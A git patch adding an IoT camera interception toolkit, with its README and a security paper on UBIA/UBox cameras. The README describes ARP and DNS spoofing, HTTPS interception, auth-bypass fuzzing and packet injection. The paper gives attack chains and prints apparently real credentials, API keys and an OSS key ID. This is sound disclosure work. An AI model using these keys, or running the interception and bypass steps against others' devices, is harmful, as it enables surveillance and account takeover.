From 800052acc2db897861bfc3e8370529a2aacfc1d7 Mon Sep 17 00:00:00 2001 From: sssnake Date: Thu, 9 Apr 2026 08:14:18 -0700 Subject: [PATCH] =?UTF-8?q?Initial=20commit=20=E2=80=94=20SetecSuite=20Cam?= =?UTF-8?q?era=20MITM=20Framework?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Original tooling from the Camhak research project (camera teardown of a rebranded UBIA / Javiscam IP camera). PyQt6 GUI on top of a curses TUI on top of a service controller; per-service start/stop, intruder detection, protocol fingerprinting, OAM HMAC signing, CVE verifiers, OTA bucket probe, firmware fetcher, fuzzer, packet injection. Tabs: Dashboard, Live Log, Intruders, Cloud API, Fuzzer, Inject, CVEs, Config, Help. Real-time per-packet protocol detection, conntrack-based original-destination lookup, log rotation at 1 GiB. See SECURITY_PAPER.md for the full writeup, site/index.html for the public report, README.md for usage. Run with: sudo /usr/bin/python3 gui.py Co-authored by Setec Labs. --- .gitignore | 37 ++ README.md | 178 +++++++ SECURITY_PAPER.md | 507 +++++++++++++++++++ TODO.md | 47 ++ api/__init__.py | 0 api/cve_checks.py | 431 +++++++++++++++++ api/firmware_fetch.py | 204 ++++++++ api/fuzzer.py | 644 ++++++++++++++++++++++++ api/ota_bucket_probe.py | 154 ++++++ api/server.py | 147 ++++++ api/ubox_client.py | 257 ++++++++++ build_tutk.sh | 54 +++ config.py | 74 +++ gui.py | 813 +++++++++++++++++++++++++++++++ inject/__init__.py | 0 inject/packet.py | 178 +++++++ iotc/build_bridge.sh | 19 + iotc/iotc_bridge | Bin 0 -> 13732 bytes iotc/iotc_bridge.c | 269 +++++++++++ mitm.py | 531 ++++++++++++++++++++ regen_cert.sh | 65 +++ services/__init__.py | 0 services/arp_spoof.py | 89 ++++ services/dns_spoof.py | 85 ++++ services/http_server.py | 179 +++++++ services/intruder_watch.py | 187 +++++++ services/sniffer.py | 106 ++++ services/udp_listener.py | 38 ++ site/boot.js | 100 ++++ site/img/cloud_api_redacted.png | Bin 0 -> 75903 bytes site/img/dashboard.png | Bin 0 -> 75093 bytes site/img/intruders.png | Bin 0 -> 304060 bytes site/img/live_log.png | Bin 0 -> 350327 bytes site/index.html | 832 ++++++++++++++++++++++++++++++++ site/style.css | 730 ++++++++++++++++++++++++++++ utils/__init__.py | 0 utils/log.py | 99 ++++ utils/proto.py | 94 ++++ 38 files changed, 7148 insertions(+) create mode 100644 .gitignore create mode 100644 README.md create mode 100644 SECURITY_PAPER.md create mode 100644 TODO.md create mode 100644 api/__init__.py create mode 100644 api/cve_checks.py create mode 100644 api/firmware_fetch.py create mode 100644 api/fuzzer.py create mode 100644 api/ota_bucket_probe.py create mode 100644 api/server.py create mode 100644 api/ubox_client.py create mode 100755 build_tutk.sh create mode 100644 config.py create mode 100755 gui.py create mode 100644 inject/__init__.py create mode 100644 inject/packet.py create mode 100755 iotc/build_bridge.sh create mode 100755 iotc/iotc_bridge create mode 100644 iotc/iotc_bridge.c create mode 100644 mitm.py create mode 100755 regen_cert.sh create mode 100644 services/__init__.py create mode 100644 services/arp_spoof.py create mode 100644 services/dns_spoof.py create mode 100644 services/http_server.py create mode 100644 services/intruder_watch.py create mode 100644 services/sniffer.py create mode 100644 services/udp_listener.py create mode 100644 site/boot.js create mode 100644 site/img/cloud_api_redacted.png create mode 100644 site/img/dashboard.png create mode 100644 site/img/intruders.png create mode 100644 site/img/live_log.png create mode 100644 site/index.html create mode 100644 site/style.css create mode 100644 utils/__init__.py create mode 100644 utils/log.py create mode 100644 utils/proto.py diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..90b6353 --- /dev/null +++ b/.gitignore @@ -0,0 +1,37 @@ +# Python +__pycache__/ +*.py[cod] +*.pyo +*.egg-info/ +.venv/ +venv/ + +# Logs and captures (can contain real account data — never commit) +mitm_logs/ +*.pcap +*.log +*.bin +fuzz_results_*.json +auth_fuzz.json +endpoint_fuzz.json + +# Local config (may contain credentials) +config.json + +# TUTK / vendor source bundles (license-restricted) +lib/wyzecam/ +lib/tutk/ +iotc/*.so +iotc/build/ + +# OS / editor +.DS_Store +*.swp +*~ +.idea/ +.vscode/ + +# Don't ship any decompiled APK derivatives +ubox_*/ +javiscam_*/ +*.apk diff --git a/README.md b/README.md new file mode 100644 index 0000000..5b3dbf3 --- /dev/null +++ b/README.md @@ -0,0 +1,178 @@ +# SetecSuite — Camera MITM Framework + +A modular IoT camera pentesting toolkit for intercepting, analyzing, and testing the security of cloud-connected IP cameras. Built for authorized security research on devices you own. + +## Features + +- **ARP Spoofing** — MITM positioning between camera and gateway with automatic ARP table restoration on exit +- **DNS Interception** — Spoof cloud domain resolution to redirect camera traffic through your machine +- **HTTP/HTTPS MITM** — Auto-generated SSL certificates, full request/response logging with hex dumps +- **Raw Packet Sniffer** — Catches all camera traffic on any port, detects new connections in real-time +- **UDP Capture** — Dedicated listeners for P2P master services (port 10240) and other protocols +- **Cloud API Client** — Authenticate to vendor cloud APIs, enumerate devices, extract credentials and firmware info +- **API Fuzzer** — Endpoint discovery via wordlist, parameter mutation (SQLi, IDOR, type confusion, overflow), and authentication bypass testing +- **Packet Injection** — Craft and send raw UDP, ARP, DNS, and Ethernet frames +- **REST API** — External control interface on port 9090 for AI-assisted automated testing and integration with other tools +- **TUI** — Full terminal interface with scrolling logs, status bar, command history, and color-coded output + +## Requirements + +- Linux (tested on Ubuntu/Debian ARM64 and x86_64) +- Python 3.10+ +- Root access (required for raw sockets, ARP, iptables) +- `openssl` (for certificate generation) + +No external Python packages required — uses only the standard library. + +## Installation + +```bash +git clone /path/to/setec_suite/cam-mitm +cd /path/to/setec_suite/cam-mitm +sudo python3 mitm.py +``` + +## Usage + +### Quick Start + +```bash +cd /home/snake/setec_suite/cam-mitm +sudo python3 mitm.py +``` + +### TUI Commands + +#### MITM Services +| Command | Description | +|---------|-------------| +| `start` | Start all MITM services (ARP, DNS, HTTP/S, UDP, sniffer) | +| `stop` | Stop all services and restore ARP tables | +| `status` | Show running service status | + +#### Configuration +| Command | Description | +|---------|-------------| +| `config` | Show current settings | +| `set ` | Change a setting | +| `save` | Save config to disk | + +Configurable keys: `camera_ip`, `camera_mac`, `our_ip`, `router_ip`, `iface`, `api_email`, `api_password`, `rest_port`, `fuzzer_threads`, `fuzzer_delay` + +#### Cloud API +| Command | Description | +|---------|-------------| +| `login` | Authenticate to vendor cloud API | +| `devices` | List devices and extract credentials | +| `firmware` | Check firmware version | +| `services` | Query device cloud services | +| `families` | List account families/groups | +| `api ` | Raw POST to any API endpoint | + +#### Fuzzer +| Command | Description | +|---------|-------------| +| `fuzz endpoints` | Discover hidden API endpoints via wordlist | +| `fuzz params ` | Test parameter mutations on an endpoint | +| `fuzz auth` | Test authentication bypass techniques | +| `fuzz stop` | Stop a running fuzz job | +| `fuzz results` | Save results to JSON file | + +#### Packet Injection +| Command | Description | +|---------|-------------| +| `inject udp ` | Send a UDP packet with hex payload | +| `inject arp_reply ` | Send a spoofed ARP reply | +| `inject dns_query ` | Send a DNS query | + +### REST API + +The built-in REST API (default port 9090) enables external tool integration and AI-assisted automated testing workflows. + +#### Endpoints + +| Method | Path | Description | +|--------|------|-------------| +| GET | `/status` | Service status, flags, config | +| GET | `/logs?count=N` | Recent log entries | +| GET | `/devices` | Cached device list | +| GET | `/config` | Current configuration | +| GET | `/fuzz/results` | Fuzzer results | +| POST | `/start` | Start MITM services | +| POST | `/stop` | Stop MITM services | +| POST | `/config` | Update config `{"key": "value"}` | +| POST | `/command` | Execute TUI command `{"cmd": "..."}` | +| POST | `/api` | Proxy cloud API call `{"endpoint": "...", "data": {}}` | +| POST | `/fuzz/endpoints` | Start endpoint fuzzer | +| POST | `/fuzz/params` | Start param fuzzer `{"endpoint": "..."}` | +| POST | `/fuzz/auth` | Start auth bypass fuzzer | +| POST | `/fuzz/stop` | Stop fuzzer | +| POST | `/inject` | Send packet `{"type": "udp", "dst_ip": "...", ...}` | + +#### Example: AI-Automated Testing + +```bash +# Start MITM +curl -X POST http://localhost:9090/start + +# Run endpoint fuzzer +curl -X POST http://localhost:9090/fuzz/endpoints + +# Check results +curl http://localhost:9090/fuzz/results | python3 -m json.tool + +# Send custom API request +curl -X POST http://localhost:9090/api \ + -H "Content-Type: application/json" \ + -d '{"endpoint": "user/device_list", "data": {}}' + +# Inject a packet +curl -X POST http://localhost:9090/inject \ + -H "Content-Type: application/json" \ + -d '{"type": "udp", "dst_ip": "10.0.0.47", "dst_port": 10240, "payload": "deadbeef", "payload_hex": true}' +``` + +## Project Structure + +``` +cam-mitm/ +├── mitm.py # Entry point + TUI + controller +├── config.py # Persistent JSON configuration +├── services/ +│ ├── arp_spoof.py # ARP cache poisoning +│ ├── dns_spoof.py # DNS response spoofing +│ ├── http_server.py # HTTP/HTTPS interception with SSL +│ ├── udp_listener.py # UDP protocol capture +│ └── sniffer.py # Raw packet monitor +├── api/ +│ ├── ubox_client.py # Vendor cloud API client +│ ├── fuzzer.py # API security fuzzer +│ └── server.py # REST API for external integration +├── inject/ +│ └── packet.py # Packet crafting and injection +└── utils/ + └── log.py # Shared logging utilities +``` + +## TUI Navigation + +| Key | Action | +|-----|--------| +| Enter | Execute command | +| Up/Down Arrow | Command history | +| Page Up/Down | Scroll log | +| Home/End | Jump to oldest/newest log | +| Escape | Clear input | +| Ctrl+C | Graceful shutdown | + +## Legal + +This tool is intended for authorized security testing on devices you own. Unauthorized interception of network traffic is illegal. Always obtain proper authorization before testing. + +## License + +MIT + +## Author + +sssnake — Setec Labs diff --git a/SECURITY_PAPER.md b/SECURITY_PAPER.md new file mode 100644 index 0000000..530f699 --- /dev/null +++ b/SECURITY_PAPER.md @@ -0,0 +1,507 @@ +# Security Analysis of Cloud-Connected IoT Cameras: A Case Study on the UBIA/UBox Ecosystem + +**Setec Labs Research** +**By: sssnake** +**Date: March 2026** + +--- + +## Abstract + +This paper presents a security analysis of a consumer-grade cloud-connected IP camera sold under multiple brand names (Javiscam, Funstorm, and others) that relies on the UBIA Technologies "UBox" platform and ThroughTek Kalay P2P SDK. Through passive network analysis, API reverse engineering, and mobile application decompilation, we identified ten distinct vulnerabilities ranging from plaintext credential exposure in API responses to disabled SSL certificate validation. The camera's cloud-first architecture — with zero inbound network services — creates a false sense of security while introducing systemic risks through its vendor cloud dependency. All testing was performed on equipment owned by the researcher using custom tooling developed for this analysis. + +--- + +## 1. Introduction + +The global IP camera market has seen explosive growth, with millions of low-cost WiFi cameras entering homes and businesses. Many of these devices are manufactured by a small number of Chinese ODMs and sold under dozens of brand names through Amazon, AliExpress, and similar marketplaces. Despite different branding, they often share identical hardware, firmware, and cloud infrastructure. + +This presents a compounding risk: a vulnerability in one "brand" affects every device built on the same platform. This paper examines one such platform — UBIA Technologies' UBox ecosystem — and documents the security posture of a camera sold as a "Javiscam" (also marketed under the "Funstorm" brand) that uses ThroughTek's Kalay P2P SDK for cloud connectivity. + +### 1.1 Scope + +This research was conducted on a single camera owned by the researcher: + +| Property | Value | +|----------|-------| +| Vendor Marketing Name | Javiscam | +| Alternate Brand | Funstorm | +| Model Number | 2604 | +| Product ID | 1619 | +| Firmware Version | 2604.0.29.8 | +| MAC Address OUI | 14:92:F9 (TP-Link chipset) | +| Mobile Application | UBox (cn.ubia.ubox) v1.1.360 | +| Cloud Platform | UBIA Technologies (ubianet.com) | +| P2P SDK | ThroughTek Kalay IOTC/AVAPI | +| IOTC Device UID | J7HYJJFFFXRDKBYGPVRA | + +### 1.2 Methodology + +The analysis was performed in four phases: + +1. **Passive Network Analysis** — ARP spoofing to capture all camera traffic, identifying cloud endpoints, protocols, and communication patterns +2. **Application Reverse Engineering** — Decompilation of the Android UBox APK using jadx to extract API endpoints, authentication flows, and protocol definitions +3. **API Security Testing** — Direct interaction with the UBIA cloud API, enumeration of endpoints, and analysis of data leakage +4. **Automated Fuzzing** — Custom tooling for endpoint discovery, parameter mutation, and authentication bypass testing, integrated with AI-assisted analysis via REST API + +### 1.3 Tools + +All primary tooling was developed specifically for this research and is released as the "SetecSuite Camera MITM Framework": + +- **ARP/DNS Spoofing** — Python raw socket implementation for MITM positioning +- **Protocol Capture** — Multi-protocol listener (HTTP, HTTPS, UDP, raw packets) +- **API Client** — Authenticated UBox cloud API interaction +- **API Fuzzer** — Endpoint discovery, parameter mutation, auth bypass testing +- **Packet Injector** — Raw frame crafting for UDP, ARP, DNS +- **REST API** — External integration interface enabling AI-assisted automated analysis + +Third-party tools used: nmap (initial discovery), jadx (APK decompilation), tcpdump (packet capture validation). + +--- + +## 2. Architecture Analysis + +### 2.1 Network Architecture + +The camera employs a **cloud-first architecture with zero inbound services**. All 65,535 TCP and UDP ports were found to be filtered — the device accepts no incoming connections from the local network. + +All communication is outbound, initiated by the camera: + +| Protocol | Port | Destination | Purpose | +|----------|------|-------------|---------| +| UDP | 10240 | Tencent Cloud (43.x.x.x) | P2P master/relay service | +| UDP | 123 | AWS EU, Alibaba | NTP time synchronization | +| TCP | 443 | portal.ubianet.com | API/portal communication | +| TCP | 443 | *.aliyuncs.com | Alibaba OSS (firmware, photos) | +| TCP | 443 | *.amazonaws.com | AWS (accelerator) | +| TCP | 20003 | UBIA push servers | Push notification service | +| TCP | 80 | Various CDNs | Connectivity checks | + +### 2.2 Connectivity Checks + +The camera performs HTTP connectivity checks against: +- `www.microsoft.com` +- `www.amazon.com` +- `www.apple.com` +- `www.qq.com` + +The inclusion of `www.qq.com` (Tencent/QQ) confirms the firmware's Chinese origin. These checks use plaintext HTTP (port 80), not HTTPS. + +### 2.3 P2P Communication + +The camera uses ThroughTek's Kalay P2P platform for all video streaming and device control. The app and camera both connect to P2P master servers (`m7.ubianet.com`, `m8.ubianet.com`) which broker a direct P2P tunnel or provide relay services through Tencent Cloud infrastructure. + +The P2P protocol uses UDP port 10240 with 72-byte outbound packets and 180-byte inbound packets. The IOTC UID format (`J7HYJJFFFXRDKBYGPVRA`) serves as the device's unique identifier on the P2P network. + +### 2.4 Cloud Infrastructure + +The following infrastructure was identified through DNS analysis and APK decompilation: + +**API Servers:** +- `portal.ubianet.com` — Primary API (global) +- `api.us.ubianet.com` — US region +- `api.cn.ubianet.com` — China region +- `pay.ubianet.com` — Payment processing +- `wx.ubianet.com` — WeChat integration + +**Object Storage:** +- `ubiaota.oss-cn-shenzhen.aliyuncs.com` — Firmware OTA (Alibaba OSS, Shenzhen) +- `uboxphoto-us.oss-us-west-1.aliyuncs.com` — User photos (Alibaba OSS, US West) +- `ubiaota-us-1312441409.cos.na-siliconvalley.myqcloud.com` — Tencent COS backup +- `ubiaota-cn-1312441409.cos.ap-guangzhou.myqcloud.com` — Tencent COS China + +**P2P Master Servers:** +- `m7.ubianet.com` +- `m8.ubianet.com` + +**SIM Management:** +- `118.178.150.203:9001` +- `api.iot400.com` + +--- + +## 3. Vulnerability Findings + +### V1: Plaintext Device Credentials in API Response + +**Severity: CRITICAL** +**CVSS 3.1: 9.1 (Critical)** + +**Endpoint:** `POST https://portal.ubianet.com/api/user/device_list` + +The device list API response includes the camera's authentication credentials in plaintext: + +```json +{ + "cam_user": "admin", + "cam_pwd": "yyc1G::HPEv7om3O", + "device_uid": "J7HYJJFFFXRDKBYGPVRA" +} +``` + +These credentials are used for IOTC P2P authentication. Any attacker who can intercept or access this API response — through a compromised account, session hijacking, or MITM — obtains full device control credentials. + +**Impact:** Complete device takeover including live video/audio access, file download, configuration changes, and firmware manipulation. + +**Recommendation:** Never include device credentials in API responses. Use session-based tokens with limited scope and expiration. + +--- + +### V2: API Key Leakage in Login Response + +**Severity: HIGH** +**CVSS 3.1: 7.5 (High)** + +**Endpoint:** `POST https://portal.ubianet.com/api/v3/login` + +The login response includes internal cloud service credentials: + +```json +{ + "app_config": { + "android_private_config": { + "ucon": { + "GoogleAPIKey": "AIzaSyD_oOWY67gLDTUdezW9UTlTfwTidR9itXA", + "AMapAPIKey": "5c32ed9e0ebea43b41496713e259a895" + } + } + } +} +``` + +Additionally, the user's avatar URL contains a pre-signed Alibaba OSS URL with embedded access credentials: + +``` +uboxphoto-us.oss-us-west-1.aliyuncs.com/...?x-oss-credential=LTAI5tGDU3y7P6YtDzmb1dDL... +``` + +**Impact:** Exposed API keys enable unauthorized use of mapping and cloud services. The OSS access key ID (`LTAI5tGDU3y7P6YtDzmb1dDL`) could be used to enumerate or access cloud storage if combined with other vulnerabilities. + +**Recommendation:** Serve API keys only to authenticated clients via secure channels. Use short-lived pre-signed URLs without exposing access key IDs. + +--- + +### V3: Weak Password Hashing (HMAC-SHA1 with Empty Key) + +**Severity: MEDIUM** +**CVSS 3.1: 6.5 (Medium)** + +**Source:** `LoginViewModel.java:276` + +```java +loginJsonBean.setPassword( + new HttpClient().get_replace_str( + new String(Base64.encode(hmac_sha1.getHmacSHA1(str2, ""))) + ) +); +``` + +User passwords are hashed using HMAC-SHA1 with an **empty string as the key**, then Base64 encoded with character substitutions (`+` -> `-`, `/` -> `_`, `=` -> `,`). HMAC-SHA1 with an empty key is functionally equivalent to unsalted SHA1 hashing. + +**Impact:** User passwords can be reversed via rainbow tables or brute force. No per-user salt means identical passwords produce identical hashes across all accounts. + +**Recommendation:** Use bcrypt, scrypt, or Argon2 with per-user salts and appropriate work factors. + +--- + +### V4: SSL Certificate Validation Disabled + +**Severity: HIGH** +**CVSS 3.1: 7.4 (High)** + +**Source:** `NewApiHttpClient.java:1053` + +```java +MySSLSocketFactory mySSLSocketFactory = new MySSLSocketFactory(keyStore); +mySSLSocketFactory.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); +``` + +The mobile application accepts **any SSL certificate** without validation. This enables trivial MITM attacks against all API communications, including the login flow (exposing credentials) and device list (exposing device access tokens). + +**Impact:** An attacker on the same network can intercept all cloud API traffic, steal authentication tokens, and obtain device credentials (V1) by presenting a self-signed certificate. + +**Recommendation:** Implement proper certificate validation. Consider certificate pinning for critical API endpoints. + +--- + +### V5: ThroughTek Kalay P2P SDK (Known Vulnerabilities) + +**Severity: CRITICAL** +**CVSS 3.1: 9.6 (Critical)** + +The camera uses ThroughTek's Kalay IOTC/AVAPI SDK for P2P communication. This SDK has multiple disclosed critical vulnerabilities: + +| CVE | Description | CVSS | +|-----|-------------|------| +| CVE-2021-28372 | Improper access control, remote camera/audio access | 9.6 | +| CVE-2023-6321 | OS command injection (root access) | 9.8 | +| CVE-2023-6322 | Stack-based buffer overflow | 7.2 | +| CVE-2023-6323 | Insufficient verification (AuthKey leak) | 4.3 | +| CVE-2023-6324 | Insufficient entropy in DTLS setup | 5.9 | + +CVE-2023-6323 and CVE-2023-6324 can be chained with CVE-2023-6321 to achieve remote root access from the local network (Bitdefender Labs, 2024). + +The SDK version in use was not definitively determined during this analysis. ThroughTek patched affected SDK versions by April 2024, but the firmware version analyzed (2604.0.29.8) shows no evidence of recent SDK updates. + +**Impact:** Depending on SDK version, an attacker could remotely access camera feeds, audio, and execute arbitrary commands as root. + +**Recommendation:** Update to the latest patched ThroughTek SDK. Implement SDK version checking in firmware update flows. + +--- + +### V6: Firmware Updates via HTTP + +**Severity: HIGH** +**CVSS 3.1: 8.1 (High)** + +Network captures show the camera initiating HTTP (not HTTPS) connections to CDN endpoints (Akamai, Tencent Cloud) on port 80. The firmware update mechanism sends the download URL to the camera via IOTC command 4631: + +```java +// AdvancedSettings.java +UpdateReq.setFile_url(resultBase.getData().getResult().getHost().getFilename().getBytes()); +``` + +If the firmware URL uses HTTP, the download is unencrypted and subject to MITM replacement. + +**Impact:** An attacker in a MITM position can intercept firmware download requests and serve malicious firmware, achieving persistent device compromise. + +**Recommendation:** Use HTTPS exclusively for firmware downloads. Implement cryptographic signature verification of firmware images before flashing. + +--- + +### V7: IOTC Command Set Enables Full Device Control + +**Severity: HIGH** +**CVSS 3.1: 8.0 (High)** + +Decompilation of the UBox APK revealed the complete IOTC command set (defined in `AVIOCTRLDEFs.java`). With valid credentials (obtainable via V1), an attacker can: + +| Command ID | Function | +|------------|----------| +| 768/769 | Start/stop live audio | +| 816/817 | Get device info | +| 896/897 | Format SD card | +| 4631/4632 | Push firmware update | +| 4864/4865 | List files | +| 4866/4867 | Download files | +| 4868/4869 | Upload files | +| 4874/4875 | Delete files | +| 8482/8483 | Capture picture remotely | +| 241/242 | Set device UID | + +Command 241 (`IOTYPE_UBIA_SET_UID_REQ`) is particularly dangerous — it allows changing the device's P2P identifier, potentially hijacking it from the legitimate owner. + +**Impact:** Full device takeover, data exfiltration, evidence destruction (SD card format), and device identity theft. + +**Recommendation:** Implement command-level access control. Critical commands (firmware update, UID change, format) should require additional authentication or user confirmation via a separate channel. + +--- + +### V8: Cloud Infrastructure Enumeration + +**Severity: INFORMATIONAL** +**CVSS 3.1: N/A** + +The complete cloud infrastructure is discoverable through APK decompilation and DNS analysis. The firmware OTA bucket (`ubiaota.oss-cn-shenzhen.aliyuncs.com`) was confirmed to exist and contain firmware files, though access is restricted to signed URLs. + +This level of infrastructure visibility, combined with the leaked OSS access key ID (V2), could facilitate further attacks against the cloud backend. + +--- + +### V9: No Local Network Services + +**Severity: INFORMATIONAL (Architectural Observation)** + +The camera exposes zero inbound ports. While this prevents traditional network-based attacks (port scanning, brute force), it creates complete dependency on the vendor's cloud infrastructure. If the cloud service is compromised, discontinued, or suffers an outage, the device becomes non-functional and there is no local fallback. + +This also means the device owner has no local control mechanism — all interaction must route through vendor servers in China, raising privacy concerns for users outside that jurisdiction. + +--- + +### V10: Multi-Brand Obfuscation + +**Severity: INFORMATIONAL** + +The same hardware/firmware/cloud platform is sold under multiple brand names: + +- Javiscam +- Funstorm +- (likely others sharing UBIA/UBox platform with product IDs in the 1600+ range) + +The TP-Link MAC OUI (14:92:F9) further obscures the actual manufacturer. Users cannot easily determine that their "Javiscam" and a neighbor's "Funstorm" share identical firmware, cloud infrastructure, and vulnerability surface. + +--- + +### V11: Improper Use of HTTP Status Codes for Authentication + +**Severity: MEDIUM** +**CVSS 3.1: 5.3 (Medium)** + +**All Endpoints** + +The API returns HTTP 200 for all requests regardless of authentication status. Authentication failures are communicated only through the JSON response body (`{"code": 10004, "msg": "token不能为空"}`). The API never returns HTTP 401 or 403. + +This was discovered during automated fuzzing: every endpoint returned HTTP 200 with any token, no token, invalid tokens, and SQL injection payloads in the token field. Manual verification confirmed that the application-level `code` field correctly rejects unauthenticated requests (code 10004), but the HTTP transport layer provides no indication of failure. + +**Impact:** +- Standard security tooling (WAFs, API gateways, SIEM, monitoring dashboards) that relies on HTTP status codes will not detect or alert on authentication failures +- Rate limiting rules based on 401/403 response codes will never trigger +- API monitoring cannot distinguish between successful and failed auth attempts from HTTP logs alone +- Automated scanners and vulnerability tools may report false positives (as observed during this assessment) + +**Recommendation:** Return HTTP 401 for authentication failures and HTTP 403 for authorization failures, in addition to the application-level error codes. This provides defense-in-depth and enables standard security infrastructure to function correctly. + +--- + +### V12: Unauthenticated Firmware Version Check + +**Severity: MEDIUM** +**CVSS 3.1: 5.3 (Medium)** + +**Endpoint:** `POST https://portal.ubianet.com/api/user/check_version` + +Automated fuzzing with application-level response code verification confirmed that `user/check_version` returns `{"code": 0, "msg": "success"}` without any authentication token. This was the only user-scoped endpoint (out of 27 discovered) that returned a successful application-level response without credentials. + +While the endpoint returned empty data in our tests (the correct internal parameters were not determined), the lack of authentication means an attacker could potentially: +- Enumerate device firmware versions if the correct parameter format is discovered +- Obtain firmware download URLs for specific device models +- Determine which devices are running outdated/vulnerable firmware + +Additionally, several PTZ snapshot endpoints (`user/del_ptz_snap`, `user/confirm_ptz_snap`, `user/put_ptz_snap`) returned `code: 0` with authenticated requests using empty parameters — suggesting these operations may execute without requiring valid target parameters. + +**Recommendation:** Enforce authentication on all endpoints consistently. Validate that required parameters are present before processing requests. + +--- + +### V13: Endpoint Enumeration via Consistent Error Responses + +**Severity: LOW** +**CVSS 3.1: 3.7 (Low)** + +Automated endpoint fuzzing revealed that the API returns distinguishable responses for existing vs. non-existing endpoints: existing endpoints return HTTP 200 with application-specific error codes (e.g., `{"code": 10001, "msg": "invalid params"}`), while non-existing endpoints return HTTP 404. This allows an attacker to enumerate all valid API endpoints without documentation. + +27 active endpoints were confirmed through this method, including undocumented ones not referenced in the mobile application's current version. + +**Recommendation:** Return consistent error responses for both invalid endpoints and valid endpoints with bad parameters. Consider rate limiting API requests to slow enumeration. + +--- + +## 4. Attack Scenarios + +### 4.1 Local Network Attacker + +1. Attacker joins the same WiFi network as the camera +2. ARP spoof to MITM the camera's traffic +3. DNS spoof `portal.ubianet.com` to attacker's server +4. Due to disabled SSL validation (V4), the camera connects to the fake server +5. Attacker captures IOTC credentials from the handshake +6. Using those credentials, attacker connects to camera via P2P for live video/audio + +### 4.2 Cloud API Attacker + +1. Attacker compromises a UBox user account (weak password hashing, V3) +2. Calls `user/device_list` to obtain camera credentials in plaintext (V1) +3. Connects to camera via ThroughTek P2P using leaked `cam_user`/`cam_pwd` +4. Full device access: live video, audio, file access, firmware push + +### 4.3 Firmware Supply Chain Attack + +1. Attacker performs MITM on camera's network +2. Camera checks for firmware update via HTTP (V6) +3. Attacker intercepts the firmware URL and serves malicious firmware +4. Camera flashes the malicious firmware (no signature verification) +5. Attacker achieves persistent root access + +--- + +## 5. Disclosure + +This research was conducted on hardware owned by the researcher for educational purposes. No unauthorized access to third-party devices or accounts was performed. + +Findings are being documented for coordinated disclosure to: +- UBIA Technologies Co. (vendor) +- ThroughTek Co., Ltd. (P2P SDK vendor) +- CISA (for CVE coordination if applicable) + +--- + +## 6. Conclusion + +The UBIA/UBox camera ecosystem demonstrates a pattern common across low-cost IoT devices: a polished user experience masking fundamental security failures. The cloud-first architecture with no inbound ports creates an illusion of security, while the cloud API freely distributes device credentials in plaintext. Disabled SSL validation makes MITM attacks trivial. The use of a P2P SDK with known critical vulnerabilities compounds the risk. + +The multi-brand sales strategy means these vulnerabilities affect an unknown — but likely large — number of devices across brands that consumers cannot easily correlate. + +The most impactful finding is V1: the cloud API returns camera admin credentials (`cam_user`/`cam_pwd`) in every device list response. This single design decision means that any cloud-side breach, account compromise, or API interception immediately yields full access credentials for every camera on the account. + +For consumers: these cameras should not be used in any context where privacy is critical. Network isolation (dedicated VLAN with no internet access) would mitigate cloud-based attacks but render the camera non-functional due to its cloud dependency. + +For manufacturers: the recommendations in each vulnerability section should be implemented. The highest priority items are removing credentials from API responses (V1), enabling SSL certificate validation (V4), and updating the ThroughTek SDK to the latest patched version (V5). + +--- + +## 7. References + +1. Bitdefender Labs. "Notes on ThroughTek Kalay Vulnerabilities and Their Impact on the IoT Ecosystem." May 2024. +2. CISA. "ThroughTek Kalay P2P SDK." Advisory ICSA-21-229-01. August 2021. +3. Unit 42, Palo Alto Networks. "CVE-2021-28372: How a Vulnerability in Third-Party Technology Is Leaving Many IP Cameras Vulnerable." 2021. +4. Nozomi Networks. "New IoT Security Risk: ThroughTek P2P Supply Chain Vulnerability." 2021. +5. ThroughTek. "About ThroughTek's Kalay Platform Security Mechanism." 2024. +6. OWASP. "IoT Security Verification Standard." 2024. + +--- + +## Appendix A: Network Capture Summary + +| Source | Destination | Protocol | Port | Description | +|--------|-------------|----------|------|-------------| +| Camera | Tencent Cloud (6 IPs) | UDP | 10240 | P2P relay | +| Camera | AWS Frankfurt | UDP | 123 | NTP | +| Camera | Alibaba Cloud | UDP | 123 | NTP | +| Camera | Akamai CDN | TCP | 80 | Connectivity check | +| Camera | Tencent Cloud | TCP | 80 | Connectivity check | +| Camera | Router (DNS) | UDP | 53 | DNS queries | +| Camera | 10.0.0.27 | ARP | - | Phone (ubox app) | +| Camera | 10.0.0.243 | ARP | - | WireGuard host | + +## Appendix B: IOTC Command Reference (Partial) + +Extracted from `AVIOCTRLDEFs.java`: + +| ID | Name | Direction | +|----|------|-----------| +| 241 | SET_UID_REQ | App -> Camera | +| 768 | AUDIOSTART | App -> Camera | +| 769 | AUDIOSTOP | App -> Camera | +| 816 | DEVINFO_REQ | App -> Camera | +| 896 | FORMATEXTSTORAGE_REQ | App -> Camera | +| 4629 | FIRMWARE_UPDATE_CHECK_REQ | App -> Camera | +| 4631 | FIRMWARE_UPDATE_REQ | App -> Camera | +| 4864 | FILE_LIST_REQ | App -> Camera | +| 4866 | FILE_DOWNLOAD_REQ | App -> Camera | +| 4868 | FILE_UPLOAD_REQ | App -> Camera | +| 4874 | FILE_DELETE_REQ | App -> Camera | +| 8482 | CAPTURE_PICTURE_REQ | App -> Camera | + +## Appendix C: API Endpoint Map + +Discovered via APK decompilation: + +| Endpoint | Auth | Method | Purpose | +|----------|------|--------|---------| +| `/api/v3/login` | No | POST | Authentication | +| `/api/user/device_list` | Yes | POST | List devices + creds | +| `/api/v2/user/device_list` | Yes | POST | Device list v2 | +| `/api/user/families` | Yes | POST | Account groups | +| `/api/user/cloud_list` | Yes | POST | Cloud recordings | +| `/api/user/event_calendar` | Yes | POST | Event history | +| `/api/user/get_cloud_video_url` | Yes | POST | Video URLs | +| `/api/user/qry/device/device_services` | Yes | POST | Service status | +| `/api/user/qry/device/check_version/v3` | Yes | POST | Firmware check | +| `/api/user/check_version` | Yes | POST | Version check (legacy) | +| `/api/temp_token` | No | POST | Temporary token | +| `/api/reset_pwd` | Yes | POST | Password reset | +| `/api/send_code` | No | POST | Verification code | + +--- + +*This document is the intellectual property of Setec Labs. Distribution is authorized for the purpose of improving IoT security through responsible disclosure and education.* diff --git a/TODO.md b/TODO.md new file mode 100644 index 0000000..ae855ed --- /dev/null +++ b/TODO.md @@ -0,0 +1,47 @@ +# Camera MITM — Remaining Work + +## Done in this session +- [x] Migrated tooling to new network (192.168.1.x) +- [x] Built PyQt6 GUI dashboard wrapping the same Controller +- [x] Added per-service start/stop (clickable Service buttons) +- [x] Added log 